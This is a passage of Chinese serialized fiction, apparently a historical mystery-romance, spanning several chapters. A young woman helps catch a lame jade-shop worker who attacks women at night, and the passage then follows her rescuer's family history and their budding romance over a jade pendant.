褚朝云见她安静下来,继续趁热打铁:“夫人,我去给您做些好吃的来,您尚未痊愈还需静养。” “好,谢谢你。” 褚朝云见她刚清醒片刻,又开始无意识的念叨“清泽”时,便知陆欣冉又陷入了那虚无缥缈的梦中去了。 陆欣冉似乎时而清醒时而疯魔,像是也没什么规律可言。 她着实有些摸不着头脑。 陆欣冉这边搞定之后,褚朝云简单收拾了下厨房,就打算出门去。 由于走得急,不小心被绊了下,结果一脚深一脚浅的踩到假山旁,湿润的泥土上,立刻留下两只脚印。 褚朝云盯着那脚印半刻,脑子里电光火石出现了一个场景。 不对。 不对!! 她仿佛明白了什么,于是立马喊来徐二,“你马上去榆树胡同东街通知朱力他们,今晚那凶手该在西街,让他们全去西街找我!” 说罢,叫上徐大,二人迅速赶往西街。 褚朝云想到了一个人。 那个在玉石店里磨玉料,不起眼的跛脚工人。 那日取货,店中满地玉粉雪白,那工人起身走动时,留下的就是宋谨他们看到的那种脚印。 之所以想不到对方是跛脚,是因为那人右脚只剩下一半,用布和棉包着,走路不穿鞋子,所以才会形成如同拐杖的印痕。 跛脚工走路的重心都压在好腿上,右脚只是轻轻点一下。 而褚朝云去取货时也留意到,有几晚玉石店老板有事,所以早早就关了张。 关张那几晚,凶手行凶地便在东街。 营业那几晚,就在西街。 天下哪里有那般巧合之事,分明是那工人住在东街,所以回家早了便在东街行凶,收工晚了就在西街行凶。 褚朝云不小心踩出来的脚印给她很大启发,所以今晚玉石店不关张,那跛脚工只会出现在西街。 地点虽改,但计划还得执行。 二人堪堪赶到西街胡同口,褚朝云便先叫徐大藏好。 心中比照一下那跛脚工的身形和行动,觉得自己未必打不过他,毕竟那几名女子是没有防备被袭击的,但她不是。 褚朝云来时还在袖口里揣了匕首。 看着深夜中只剩几许月光的小巷,她深吸口气,心中想着“决不能再让其他女子受到伤害”,人就走了进去。 她走的很慢,也是为了让跛脚工能注意到她。 因着最近人心惶惶,女子们都不敢深夜出门,所以此刻的小巷里就只剩她一人。 褚朝云边走边听动静,心中却依旧打鼓。 怎能不怕。 但怕也要这么做。 手藏在衣袖中握紧了刀,就在她迈步走到最深处时,隐隐就听见身后一轻一重的声响入了耳。 来了。 女子屏息凝神,站住未动,听着那声响一点点接近自己。 身后,一抹暗影不知抓着什么举起了手,影像在墙壁虚虚投下,阴沉的像是恶鬼的诅咒。 褚朝云眉头微凝,打起精神,瞬间转身举起匕首,挥向来人时大喊一声:“徐大兄弟!” 徐大立刻从身后包抄。 可二人刚预备前后夹击,跛脚工便“唰”的洒出手中粉末。 是那玉石磨出的细粉。 细粉如雪花坠落,但它比雪花沉重,颗粒状的粉末半点都没浪费,直奔两人眼中而去。 这人见前几次都无法得手,遂换了新的招数。 粉末抛出,二人很快就被迷住了眼。 褚朝云千算万算却算不到这一点,眼睛乍痛,连匕首都拿不住的掉在地上。 跛脚工阴森一笑,从腰间抽出一只小斧子来。 劈砍玉石的小斧子,虽不如大斧头那般有力,但却比刀要好用的多。 他高高举起,重重落下,就在快要劈到褚朝云身上时,忽的奔跑进胡同的一名男子抬脚就踹在了跛脚工身上。 跛脚工被踹的一个踉跄,却晃晃悠悠扶住了墙。 他屡次杀不成人,今个几乎是抱着破釜沉舟的决心来的。 人在决心深刻之时会达到一种前所未有的爆发力,潜能被无限开发,身体也会突破原本的束缚。 宋谨这一脚踹的极重,却怎么也没想到那人还坚持着。 可他忙着去看褚朝云,分身不暇。 却不想那跛脚工一息之后,就又疯了似的举起了斧子。 第85章 一更 宋谨情急之下抱住褚朝云,躲开的同时又踹去一脚,斧子挨到他肩侧,“哗啦”就将他衣衫划碎,尖利的那头扎进皮肉,血顷刻便流了出来。 跛脚工狂躁的想要绕开他,斧头有目的性的不停挥砍,每一下都奔着褚朝云而去,似乎对女子的恨意极深。 徐大也是个练家子,若眼能视物,定会发现这跛脚工脚虽不灵便,但手上功夫着实了得。 手握利器连续挥舞之下,弄得旁人根本无法近身。 胡同的另一侧被堵死了路,进来的那侧又站着跛脚工。 宋谨懂了。 想来这人屡次杀不死人终被激怒,这一回确实是做了万全准备,堵死了路,再用粉末伤了人眼,那斧头也是从玉石店拿出来的,是已经做好了鱼死网破的准备。 必须要阻止他才行! 冷静片刻,宋谨拿下褚朝云绑发的头巾,迎着那利器而上,再下一次对方挥过来时快速将头巾缠绕其上,一个用力,便把斧头给夺了下来。 不过夺斧凶险,他手臂还是被砍到几下,肩侧的血流到手肘的伤口上,进而又形成了一条新的血痕。 跛脚工没想到这看着文弱书生样的男子,竟连性命都不顾了。 再加之自己抓斧头抓的又紧,这一拖拽,就也被狠狠拖倒在地。 虽说徐大眼痛的依旧不能视物,但也强忍痛楚凭声源判断出了跛脚工倒下的位置,然后一脚踩在了对方的大腿上,令其在挣扎不得。 二人里,褚朝云眼睛伤的最重。 因为她是正面对向跛脚工,所以玉石粉进去的最多。 与此同时,朱力和徐二他们总算赶到。 而宋谨一抢下斧头,立刻就去看褚朝云的状况,褚朝云捂着双眼痛的讲不出话,浑身都发起了抖。 看到她的样子,宋谨的心都被揪起来了,也再顾不上什么君子之礼,一把抱起褚朝云,就朝着胡同口最近的医馆而去。 跛脚工被朱力几人提了起来带回府衙,徐二和小八卦也赶紧扶着徐大往医馆走。 此时夜已深,医馆已经关了门。 宋谨硬是将门敲开,慌乱的抱着怀中人冲了进去,“大夫,麻烦您快给她看看眼睛,她眼中进了许多玉石的粉末!” 玉石粉进了眼睛和沙子进入眼睛差不太多,不算很麻烦,只要用些药,慢慢清洗出来,敷几日伤药就会痊愈。 大夫让宋谨将褚朝云放下,若有所思看着他,“这位小哥,好像你身上的伤也比较重,要不——” “先给她看,麻烦您!!” 宋谨推着老大夫送到褚朝云那儿,还不忘将油灯拿的近些。 老大夫本想说,“要不我去叫醒儿子,他帮你包扎,我帮姑娘治眼伤,也是两不耽误的”,可见宋谨的目光一直紧张的盯在女子身上,便也不在劝说什么了。 不久,大夫处理好伤情,又给了宋谨一瓶药膏,并让双眼敷着纱布的褚朝云坐去一边歇息。 “这药每日涂一次,纱布蒙三天,便可痊愈。” 宋谨默默记下,将药膏揣好,又去看褚朝云。 大夫想提一句他肩头和手臂的伤,徐大便被徐二和小八卦送进来了。 见徐大和褚朝云的伤情一样,大夫人有点懵,于是他只好又去帮徐大治眼睛。 褚朝云这会儿倒是好了许多。 只是方才事情发生的太过突然,所以才有些乱了方寸。 此刻她虽目不能视,但还是伸手向前抓了下,宋谨递上自己的手,被女子握牢,褚朝云才轻声问:“怎么样?那跛脚工可抓到了?” “抓到了,你放心。” 宋谨附在她手背的那只手还不停在颤,想来仍在后怕什么。 一旁的小八卦闻此,也气哼哼地嚷嚷起来,“那人怕不是个疯子,被大力哥他们抓着还又咬又跳,那半只脚都被跺出了血,嘴巴里还在不干不净的辱骂女子,我看真该给他就地正法!” 大夫上药的手一顿,回头问道:“你们是官差?” 为免麻烦,小八卦便支吾道:“嗯是,这不都是为抓那变态才受的伤嘛!” 他没有提抬尸工,大夫显然也不在意。 见宋谨看顾着褚朝云,小八卦起身走过去,“多少钱啊大夫,徐大兄弟和褚姑娘的。”他指指二人,意思是这两人的药钱和诊费他来出。 大夫摆摆手,“不要。” “啊??” “你们这是为百姓除害,我还收钱,把我当什么人了,分文不取,老朽还要多谢你们。” 大夫说完作了个揖。 不过临走时,宋谨还是偷偷放下些银钱才出了门。 小八卦他们还急着回府衙旁听岳常审犯人,于是徐二搀扶徐大,宋谨搀扶褚朝云,四人就一起回了钟纯心那。 徐二上前敲门,正遇上钟纯心坐轿子归来。 妇人撩帘看向他们,又瞥一眼褚朝云和宋谨,惯常冰冷的面上也多了几分不敢置信,“哟,出去一趟怎么弄成了这样?” 她迈步下来,看着握在一起的两只手,眉梢微挑的看向宋谨,“我认得你,你是岳常的手下。” 宋谨也没想到蔡老大撞井案里遇到的妇人,竟会是花船的管事。 那不是岳常的…… 想到知府大人已有夫人,一时间,到不知要如何给钟纯心定义身份了。 于是他只好说:“是,我是宋谨。” “宋谨……” 钟纯心站在月色下思绪飘远,随即又飘回来道:“没记错的话,青州首富家的小公子,好像也叫这个名字。” “同名而已。” 宋谨礼节性的点头应道。 钟纯心哼笑一声,也不在意,只是瞧见这小哥衣衫破损,半边身子血葫芦似的,便推门进去道:“管家,给这小哥包一下,免得血流太多死在我这儿,回头我说不清楚。” 她这么一交代,褚朝云才知晓原来宋谨也受了不小的伤。 她松开被握着的手往宋谨另一侧肩摸去,然后就摸到一手冰冷的血。 “你受伤了。” 褚朝云低吟一声。 宋谨忙又握住她,“我没事,小伤而已。” 钟纯心走远时还回头瞄了他们一眼,跟着,眼底的异样便越发浓重,似是不愿过多理会这边的事,一转身,妇人就回了临时居所歇息了。 正房让给了陆欣冉,而陆欣冉这会儿也早已歇下。 宋谨不好进褚朝云住的房间,老管家就在院中的石桌边帮他包扎。 包好之后,管家拿着药箱离开。 寂静的夜色下,院中就只剩下褚朝云和宋谨了。 想到自己今日出师不利还差点丧命,褚朝云轻叹一声:“是我莽撞了。” 宋谨看她眼不痛了,小脸也恢复了血色,这才放下心道:“不,今日你若不出现,被杀的就会是别的女子。” 单看那跛脚工的状态便知,那人今夜即便玉石俱焚,也要亲手杀掉一个。所以无论是谁遇上,都不会像之前那几人有那等死里逃生的好运气了。 说完,又道:“而且,如若不是你的提醒,我也猜不到凶徒会是玉石店的工人。” “我的提醒?” 褚朝云不明所以。 她何时提醒过宋谨? 她甚至还怕宋谨不同意自己只身犯险,瞒着对方做了此事。 宋谨好脾性的帮她整理了乱发,然后才将自己是怎么及时赶到的事情说了一遍。 因为朱力不擅长撒谎,所以他也感知到大家是有事瞒着他,今晚本欲来找褚朝云问明缘由,哪知过来时扑了个空。 照顾陆欣冉的丫鬟见他急着找人,便好心带他去了假山那。 “褚姑娘差点在这摔了一跤,然后看了一眼那脚印就跑了。” 丫鬟思想一番,又赶快补充,“对了对了,她口中还念叨了一句什么东街西街,玉石店的……也不知是想要做什么。” 顺着思路,宋谨便跑了一趟玉石店。 几日前提早关张的说明还没有摘下,他一看,便明了了。 褚朝云听后,犹豫之下还是问了声:“若我不瞒你,你会同意我去做诱饵吗?” “不会。” “你不同意我会生气。” 褚朝云也不知自己是怎么想的,便不轻不重地威胁了句。 宋谨眼中带笑,抓着女子的手也没放开,“你生气我也不同意,但我会哄你,哄好了为止。” 褚朝云“噗嗤”一乐,“你读的圣贤书里,还有教这个的?” “没有。” 宋谨如是说,微抿了下唇,唇色因失血过多泛起苍白,“我去学,大力哥经常哄他——” “娘子”二字断在嘴边。 他目光垂落,转移话题道:“若你如实相告,我去做诱饵。” “你是男子。” 褚朝云开口提醒他。 宋谨尴尬地目光乱飘,随即,声若蚊蝇,“那小巷深处漆黑一片,我穿上……咳,假扮一下也不是不可。总之,不想你涉险,我可以去的。” 褚朝云想象了一下宋谨穿女装的样子,弯唇笑了笑,倒也不失一个好主意。 不多时,小八卦就被老管家给领进了门。 宋谨:“你怎么又回来了?” 小八卦抱着双臂看他们,笑的畅快,“接你呗!你伤得那么重,我们要是不管,老头非念叨死我们不可!” 小八卦说完,便识相道:“行了,你们继续腻歪吧,我不急,我去门口看会儿月亮~” 说着,就风一阵的跑走了。 “腻歪” 听到这俩字的二人,顿时松开了彼此的手。 宋谨起身预备告辞,褚朝云便也站起了身,由于心中压着事,没想太多便脱口而出,“你……就是大家口中说的那个青州……那家的宋谨么?” 虽说此时提这个话题不太合适,可自从看不见后,褚朝云便发现五感中的其他感官神经,似乎变得更敏锐了。 方才钟纯心提起青州宋家,宋谨虽答的平静,可她却感知到对方的心,似乎重重跳了一下。 还有握着她的那只手,掌心里也出了些许的汗。 不过这么隐秘的事,她问完还是有点后悔,“抱歉,你就当我没问——” “我是。” 宋谨飞快截断她的话,似不在意:“他们口中的宋半州,就是我爹。” 男子的话饱含了些无可奈何。 许是坦白此事令情绪受到波动,导致本就被折腾到嘶哑地声线里,又多了几分说不出的艰涩。 忽的,褚朝云的手被重新握住,然后她就听到耳边响起轻轻一声:“宋家曾因犯了重罪被判满门抄斩,不过满门,也就我,阿爹阿娘三人罢了。后被重审改为流放,最后又被无罪释放。” “朝云,青州宋家荣耀不复,如今也是……遭万人唾骂唾弃。” “所以如我这般的宋谨,你可还愿——” 与我相交? 只不过他的后半句被堵在口中,没能问出。 褚朝云伸手捂住了他的嘴巴,声调和暖:“你刚刚说什么?我没听见。什么青州蕤洲的,我只认得眼前的宋谨。” “眼前的你,才是真正的你。” 她抬手动作过大,不小心蹭掉腰间塞着的小荷包。 荷包落地,一枚暖白色的玉便从其中滑了出来。 褚朝云想低头去捡,“我好像掉东西了。” “我帮你。” 宋谨弯身捡起荷包。 再拾起玉佩时,目光就变得惊异起来。 第86章 一更 宋谨是被门缝渗进来的烟给呛醒的。 宋宅小公子的书房门窗都用了加厚材质,目的就是隔音要好,这是宋家老爷和夫人的意思,他们生怕院外的吵闹会影响了儿子的学业。 即便宋老爷很想儿子能够继承家业,但他也不是那种一言堂的古板长辈,只要晚辈说的有理,他便会全力支持。 宋谨经常在书房温书到深夜,今日也是如此。 他起身挥开越发呛人的烟气,一推门,才发现屋外早已是另外一幅光景。 一伙官差在夜间闯入他的家,兵分几路捉了他的阿爹阿娘,杀了他们宋家的管家仆从,抬走他们家中所有金银钱财,并告知他们,这是官家的命令。 理由则是——窝藏朝廷重犯! 而那犯人前不久才被判勾结外敌,三日后就要问斩。 可远在千里京都的犯人却突然间出现在了宋家,宋谨第一时间便发现了其中的问题。 可发现了又如何? 官差根本不听他的解释,见他从书房出来,便直接将他也拿住,不顾这突然烧起来的无名大火,压着他们一家三人送去了关押青州重犯的地牢里。 “也不知宗富知不知晓此事……” 被折腾到一夜老了十岁的宋老爷,边帮着夫人赶走想过来觅食的老鼠,边抬头看着宋谨商议。 他们被关在了一间牢房里。 宗富是宗匀酌的父亲,也是宋半州的至交好友。 “如今咱家闹出这般大的动静,想必他们很快会得到风声……放心吧谨儿,你宗伯父交友广阔,朝廷官员也认得几个,他定会帮咱们伸冤的。” …… 宋半州的话越发远去,直到宋谨从噩梦中惊醒,才察觉原是自己发了高热。 他抹去额头冷汗,脑中却继续了那场梦。 他们并没有见到宗富,他的好友宗匀酌也没来牢狱探望过他。 等了几日,捉他们的官差便来告知,他们被判了死刑,和那重犯一样,三日后直接在青州问斩。 他那时心急如焚,眼见着宋家二老愁的一夜白头,却又无处喊冤。 可等到行刑那日,官差又来通知,说上面念在宋家往日的功德会从轻处理,所以原本的问斩就改为了流放。 宋家的功德,就在于每年都给朝廷捐善款。 不过宋半州此举不为拉拢官员,只是单纯的想出一出力。 他们被流放西北偏远之地,择日出发。 再一日,他们三人便被戴上了镣铐,从青州地牢押了出去。 宋家是青州首富,并且深受青州百姓们的爱戴,而他们以往赚得的银钱也并非都用作独自享受,宋家每年都会拿出家中三分之二,帮着青州修路,修学堂,做布施和各种善事。 宋半州是天生的经商头脑,是青州白手起家第一人。 如宗家那般的青州富户,最初也都是跟着他混出来的。 不过那些富户里,也就宗富最是机灵,他愿意跟着宋半州吃苦,甚至一贫如洗时,不惜帮宋半州喂马来讨好他。 之后,宗富和宋半州关系越发的近,宋半州最抬举他,所以宗富才能很快就成了青州第二的大户。 宋谨的直觉,是他们得罪了人。 所以才会被陷害至此。 只是他想不通,他们到底得罪的是谁。 他们宋家是行善之家,很少与外界发生口角,他阿爹阿娘的脾性温和,所以连带他的性格也是如此。 就在遭遇这场灾祸之前,远在蕤洲的知府岳大人,还亲自写信过来求助过他们家。 岳常是个好官,一到蕤洲上任便处处都在为百姓着想。 可天公不作美,蕤洲注定是个多灾多难之地,每每岳常的努力有了起色时,老天便会降下灾祸,让他的功绩和百姓的安乐毁于一旦。 求助宋家那时,蕤洲正在经历干旱,所有人都吃不上饭,每日都有从家中或街道上抬走的新的尸体。 他们都是被饿死的。 岳常每每出来看到这般光景,都郁结难消。 他曾想过招揽一些富户过来扎根,这样慢慢的带动蕤洲的经济,把这一潭死水搅活。等此地有了生机,他也好能向上面要些救助款,蕤洲总会变好的。 岳常一介知府,不惜亲自下场去劝说,但外来的富户们闻“蕤洲”二字就色变,根本没谁愿意做这种费力不讨好的事。 不过宋半州答应了。 宋半州虽不打算举家搬迁来此,但也不忍见蕤洲如此困顿,为了帮岳常解这里的危局,宋家答应拿出大半家财帮助蕤洲。 这也便是为何那晚官差过来抄家,能那么快就将宋家搬了个空。 因为那一箱箱的银钱都是宋半州给蕤洲的百姓准备的,他们本联系好了镖局,翌日就带着银钱出发的。 不料天降横祸,打的宋家措手不及。 后来在流放的路上,宋谨察觉到官差们对他一家三口的杀意,为了逃命,他趁机劈晕了一名官差,抢下对方的刀,又拿到钥匙解开锁链,带着二老连夜逃走。 不过父母年迈,他们逃的很是艰辛。 最终,再一个午后的街市口,宋谨和他阿爹阿娘走散了。 落难至此,家人便是他最大的动力,拼着一口气,宋谨开始了对家人长达三年的寻找。 三年下来,他去过不少地方,有时饿的晕倒在地遇上好心人还能得口吃的,有时被认出他的逃犯身份,还会遭来一顿毒打。 当年一身白衣,干干净净的宋小公子成了过街老鼠流浪汉,可无论如何,他都要找到家人。 其实他想过偷偷跑回青州去求助宗富,但后来又打消了这个念头。 每晚睡不着时,他都会回忆一遍宋家遭难的全过程。 他甚至还怀疑过他们会变成这样,大概宗富和宗匀酌父子也是出了力的。 宋谨和他爹不同,他爹一心向善看谁都不像坏人,宋谨对宗富此人并不太了解,但窥其行径,加之宗匀酌的性子又爱钻营,他对宗家父子其实并无好感。 只是碍于家父与宗富交好,而宗匀酌又总纠缠他,才不得不敷衍几分。 可宗匀酌对外却说,宋谨是他最好的朋友。 其实私底下,宋谨一直有意避开宗家人。 他爹交往的那些朋友里,几乎都是商人,唯有宗富与朝廷里的大官不清不楚,时有往来。 所以,他非但不能去求助宗家,还要彻彻底底避开宗家。但他寻来寻去都寻不到家人,直到某日被官差发现,追砍的差点死掉。 再睁眼时,便被朱力他们给抬了回去。 朱力总说他看着文文弱弱,实则胆子很大。 其实他们不知道的是,为了躲避追捕,宋谨睡过大大小小的乱坟岗无数。 和尸体躺在一起算什么,他甚至还睡过被野狗刨开的坟墓,直接躺进人家棺材里去,跟那被咬的残缺不全的尸体一起睡觉。 只因那处最安全,最能让他活下去。 不过巧的是,他被不知情的朱力几人带回去后,没两天就看到了张贴的告示。 说是有关重刑犯的事情已经查清,与宋家无关,宋家无罪了。 宋家无罪了。 轻描淡写的一句,多么讽刺。 那他的家人呢? 他们宋家那些无辜的家仆和管家呢? 还有这些年下来,他宋谨,他的阿爹阿娘所受的苦楚呢?? 虽说一句“无罪释放”草草了事,但他终是心如死灰。 那晚,仵作师父将他单独叫走,推心置腹了一次。宋谨这才知晓,原来仵作俗家姓阮,曾因走投无路劫持过出行的宋半州。 仵作老头的金刻刀,还是当年宋半州送给他的,宋半州给了阮老头一笔银钱,叫他走正道。 最后,这性格古怪的老头却跑来蕤洲府衙当起了仵作,也并没有用那支金刻刀。 但宋半州的恩情,老头没齿难忘。 仵作告诉他,留得青山在不愁没柴烧。 人只要活着,就还是有希望的。 所以宋谨就成了蕤洲的宋谨,而仵作瞒着朱力几人,并没告知他们自己和宋家的这一段渊源。 宋谨坐在床榻上,冷汗流了一身,他想去打水沐浴,一出来便看到朱力几人进了院门。 岳常连夜审了跛脚工,他们几乎全去旁听了。 小八卦性子大大咧咧,也没瞧见他状态不对,一看到他出来,便嚷嚷着跑上来说:“宋儿,你可知那变态为何要对女子下手?” “为何?” 宋谨强撑着精神,也想知道其中缘由。 小八卦啧啧两声,似乎对那跛脚工很是不屑,“他早年娶妻之后不肯出去做工,日日都偷娘子的陪嫁出门买酒,后来他娘子受够了,他又不肯和离,那娘子也是个干脆的性子,收拾了细软,出门便走。” 跛脚工本想靠着把娘子卖去勾栏院换些酒钱,得知人要走自然不应。 结果这追出门时一拉一扯,立在墙头的砍刀被不慎碰倒,直接就砍掉了他的半只脚。 “砍得好!” 小八卦念叨至此依旧忿忿不平,对那人恶行丝毫没有什么怜悯。 玉石店的老板不知原因,见他可怜便收留他在店里做工,跛脚工陆陆续续请媒婆介绍了好些女子,女子们多少打听出一些他的恶劣行径,便不肯嫁他。 所以他从此就恨上了所有女子,想要报复。 可他是个跛子,行动不便,就也只敢朝着软柿子下手,把目标对准了老弱妇孺,和一些养尊处优看似柔弱的小姐们。 褚朝云个子高高的,瞧着也不怎么好对付,其实那跛脚工是不想找上她的。 奈何他每次杀人不成,还被女子们的喊叫给召来了人,几次下来他积怨越发深沉,所以这次也是抱着必死的心态去杀褚朝云的。 “现在想想可真是险啊!” 小八卦唏嘘不已,“要不是你及时赶到,褚姑娘恐怕就——” 宋谨听后垂在身侧的手指不禁蜷了一下,其实不只小八卦后怕,就连他再想起当时那个场景,也是心有余悸。 他从前只知自己同褚朝云很投缘,可如今……这份感觉不知何时变得越发沉淀,热烈。 让他有些不能自控的想要去保护对方。 宋谨听完案情,独自一人进了浴房,解下腰带时才恍然,大夫给的药膏还在他的手上。 这药需要连续换三日的- 褚朝云一早起来便坐在院中发呆,她的眼睛不能视物,就只能用鼻子去闻花香解闷。 “蒲兰,陆夫人醒了吗?” 陆欣冉的丫鬟就叫做蒲兰,也多亏她把自己知道的事情都讲给宋谨听,宋谨才能及时赶过去找他们。 蒲兰长得一张娃娃脸,人也聪慧,几步跑过来,声音清脆道:“起了,正嚷嚷着想喝点汤水呢。” 褚朝云闻言刚要起身,肩头就被某只冰凉的手给按了回去。 “起来作甚?” 本该去花船的钟纯心不知何时出现在她身后,将她按到石凳,自己也坐了下来。 “陆夫人说想喝汤水,我——” 她话未完,便听得一声嗤笑。 “你如今搞成这幅鬼样子,自己的汤水还不知谁给做,还顾得上陆欣冉?” 钟纯心嘴巴毒褚朝云是知道的,所以被嘲讽一句,她也不预备回嘴。 褚朝云慢吞吞的又趴下去,表情难得的安静下来。 钟纯心多瞧了几眼她蒙眼的纱布,研究完了问道:“你昨个去医馆,大夫就没给你什么药膏,叫你更换?” “给了的。” 褚朝云呐出一声。 她也是今早醒来才想起,昨晚那药膏宋谨并未交给她,大概是忘了吧。 钟纯心正要问她“那药膏呢”,老管家就笑呵呵地上前来汇报,“夫人,昨晚的宋小哥过来了,说是要给褚姑娘送药膏,好像还带了食盒。” 妇人眼眸转了下,兀自起身,慢慢悠悠道:“得了,你的汤水有人给送了,我便就不管了。” 闻言,褚朝云坐直身体,手中正捏着昨晚那枚白玉。 很快,便听见了熟悉的脚步声。 第87章 一更 手中那枚白玉沁满凉意,握在掌心,仿若永不会融化的冰雪。 被她攥了好一会儿,玉的表面才有了丝轻微热气儿。 原本这也不是什么大事,而且昨晚宋谨帮她捡起白玉时,也并没有说什么话。可这会儿褚朝云攥着白玉,眼不能看,心思就越发机敏,琢磨琢磨着,她便察觉出些微妙的意味来。 因为昨晚宋谨把白玉递给她时,那枚玉分明被捂的温热,是比她这样随手握着度上的一层温度,还要更热的那种。 宋谨当时并不是一捡起来就还给了她,而是还拖沓了会儿。 所以当时,这人到底再想什么? 宋谨过来之后,便把手里提着的食盒放到桌上,盒盖打开那刻,清淡的香味便从其中飘了出来。 是一碗煮的软烂的清粥。 怕她觉得淡,还切了些青菜凉拌了下。 这会儿天也热了,吃这种烫食也会让人觉得不舒服,所以他等着晾凉,顺便先拿出药膏来帮忙换药。 “纱布和药膏我都带来了,你昨夜睡的可好?” 听到他问,褚朝云又坐直一些,身体往前探,方便他给自己取纱布,“睡得很好,眼也不痛了。” “那我们先换药,粥在凉一凉。” 宋谨说话温温和和,语调轻的像柔软的羽毛。 他本该起身绕去褚朝云后面解下纱布,可人还没能起身,手肘就被女子抓住了。 褚朝云没像昨晚那样去握实他手臂,只是小心翼翼捏着那片宽大的衣袖。 看来还是有点紧张的。 宋谨盯着被拉扯住的衣袖,笑的眉眼细润,“要不,我陪着你去医馆找大夫更换?” 他也怕自己会把人给弄疼了。 “不,你来。” 褚朝云默默松开手指,语气坚定道。 眼不能看走路实在不便,她不想为了去一趟医馆就把所有人都折腾个遍,而且,她也还是很信任宋谨的。 方才只是下意识动作。 可能短暂的失明,就是会让人缺乏安全感吧。 宋谨笑着抬起手,意识到自己差点就摸到对方的面颊时,才猛然顿住。 他刚刚只是想安抚一下褚朝云。 半晌,一声干涩又裹了点异样情绪的话传来耳边,褚朝云听到宋谨说:“抓着吧,不影响我帮你换药。” 于是,褚朝云又自然而然地拉住了他的衣袖。 宋谨没办法起身绕去女子后面,索性就靠的人近些,双手从褚朝云两侧伸过去,尽量不让自己碰到对方,然后一点一点的解开了那片纱布。 上药倒是很顺利,药膏清清凉凉涂到眼睛上也很舒服。 全程没有想象中的痛和手忙脚乱,彼此倒也都松了一口气。 待新的纱布系好时,身后,风风火火的徐二就跑了过来。跑到近前,徐二呼哧呼哧停下,宋谨没能及时收回的手看在徐二眼里,就更像是环抱着褚朝云一样。 徐二小脸“腾”的窜红,支吾一句“打扰了,我就是过来拿一下药膏”,说完,抓起桌上的药膏和纱布,一溜烟就跑没了影儿。 宋谨也尴尬地收回手,一时间,倒觉得这日头突然就变得灼烫起来。 深吸几口气平稳了下,他开始拿着汤匙搅拌那碗米粥,他粗手笨脚弄出来的吃食也不知合不合褚朝云胃口。 其实本可以去刘新才那,让刘老板帮忙做一碗的。 但他一早起来烧退之后,鬼使神差地就进了厨房,他很想自己做一碗来。 厨艺虽不佳,但他会更用心的。 换完药后,褚朝云也顺势松开了拉人袖子的手,另一只手里的白玉温度逐渐升高,褚朝云好像明白了昨晚宋谨到底再想什么了。 因为捡起白玉时,宋小哥的情绪产生了强烈的变化,手心里出了汗,所以玉才能很快变得温热。 就好像刚刚她那样。 想到这枚白玉捡到的地点—— 女子坐正身体,摊开掌心,露出那白的发光的玉,问:“宋谨,这白玉就是你那晚遗失在蕤河的吧?” 搅动粥碗的手微顿,宋谨很轻地“嗯”了一声,“是我的。” “那昨晚你为何不说?” 褚朝云轻蹙眉头,甚至还在捡起之后一言不发的又还给了她。 “那,现在就物归原主吧?” 她伸着手往前递,一缕风吹过来,白玉的温度恢复从前,但宋谨却并没去接。 宋谨薄唇微抿,陷入片刻遐思。 当年,阿娘送了他这枚白玉时却并没说什么话,后来等到大一些时,他才知道,原来这枚看着极简的白玉是他阿爹送给阿娘的定情信物。 宋半州用赚到的第一桶金买下这枚成色特殊的白玉,然后连同自己一起交到了夫人手上。 宋家夫妇恩爱和睦,从青丝一直携手至白头。 带有如此寓意的白玉又被阿娘传给了他。 大概阿娘是希望他也能找到自己的意中人,然后像阿爹一样将其送出去。 许是这风和花香惹人沉醉。 总之,活了十九年的宋谨,第一次做了他以为自己这辈子都不会做的事。 宋谨伸出手,掌心很有力的将女子的小手和白玉一同包住,然后轻声地问了句,“我想把它送给你,朝云,你……愿意收下它吗?” …… “我还没有想好。” 褚朝云看着夜树下正扇扇子的钟纯心说。 白日里她也是这么答复宋谨的。 钟纯心瞥见女子藏到手心里的那枚小小白玉,连扇几下,坐了下来,“没想好你还收东西?还挺口是心非啊褚朝云。” 也不是褚朝云要把她和宋谨的事到处说,只是宋谨问出这句话时,本该去花船的钟纯心正走进来,然后就撞到了这样一幕。 钟纯心今个也不知是真闲还是就为了套话,时有时无就来追问两句。 褚朝云没想到钟管事也是个小八卦,被人磨的耳朵发麻,又吃了行动不便的亏,怎么也躲不开,才这么应了。 她没提二人之间的事,只单说了这一句。 钟纯心放下手中扇子,拿过白玉细看,“是块好玉,宋谨还有这样的好东西呢。” 钟纯心此前在宋谨面前提青州,褚朝云就觉得这妇人在怀疑什么。 她不想钟纯心继续追问,便强行转移了话题,“管事说我口是心非,您不也是,明明对陆夫人很是关照,却又日日避着不见。” 钟纯心听罢,果然把白玉还给了她,“胆量又见长了。” “我这是关心您呢。” 褚朝云开始打小算盘。 钟纯心不屑地笑出一声,直接戳破她:“少套近乎,想下船啊?先攒出一个五百两我瞧瞧,就你那点小打小闹。” 话到这里,气氛倏然变得沉闷。 有些话褚朝云其实并不想提,可既然又一次的说到了这个敏感的话题,为了消除后顾之忧,她还是壮着胆子说了,“即便我能拿的出五百两又如何,也不过是下一个云娘罢了。” 提到云娘,钟纯心挑了挑眉,随即又执着扇子轻扇几下,“少跟我用这激将法,云娘……我压根就没预备让她离开。” 云娘虽说不是她杀的,不过她若真想阻拦李婆子,也是能做到的。 可这女子和陆欣冉一样疯魔,心疾无药可医,所以才会那么激烈的和李婆子争吵,还放言一定会离开蕤洲。 云娘那种情况,出去了是一定会乱说话的。 可她这病并非时时都犯,所以看中云娘的老爷也不知晓此事。 因为云娘正常的时候和其他女子无异,且说话温柔如水,甚至在花船一众姑娘里还很受欢迎。 但有这种隐疾之人,若受到什么重大刺激,便会失心疯一般的做出些不可估量之事。 褚朝云没有失心疯,而且—— 钟纯心简单提了提云娘之事,褚朝云便明白了。 大概云娘和陆欣冉都患上了类似间歇性精神失常这种疾病,而带给云娘刺激导致云娘犯病的那个人,其实正是要娶她的那位老爷。 对于他们这些苦命的船娘来说,能够逃离这条船,是最大的好消息,也是最大的刺激。 褚朝云留下了宋谨的白玉,但却没有准确的答复人家。 实在是如今形势焦灼,而她又被困在船上不似常人,所以不得不多斟酌几许。 她并非不喜欢宋谨,只是现阶段,还无法看清前路罢了。 再者,她有现代人的思想,总觉得就算要在一起,也得先相处试试吧。 那种古时新婚夜才知晓新郎长相和脾性的事,她听一听都感到无比可怕。 不过宋谨显然很懂她。 虽说她的心还没定,但宋谨却是定了的。 宋谨还有差事在身,不能日日都来帮她上药,再说也不方便,毕竟这是钟纯心的府邸,不是他们的。 所以白日宋谨离开前,褚朝云便叫他别再过来,宋谨说“好”。 宋谨都听她的。 褚朝云的心中温热又甜。 三日后,她重见光明,她的眼疾好了,这起案件也被侦破,所以陆欣冉也带着蒲兰回了岳府去。 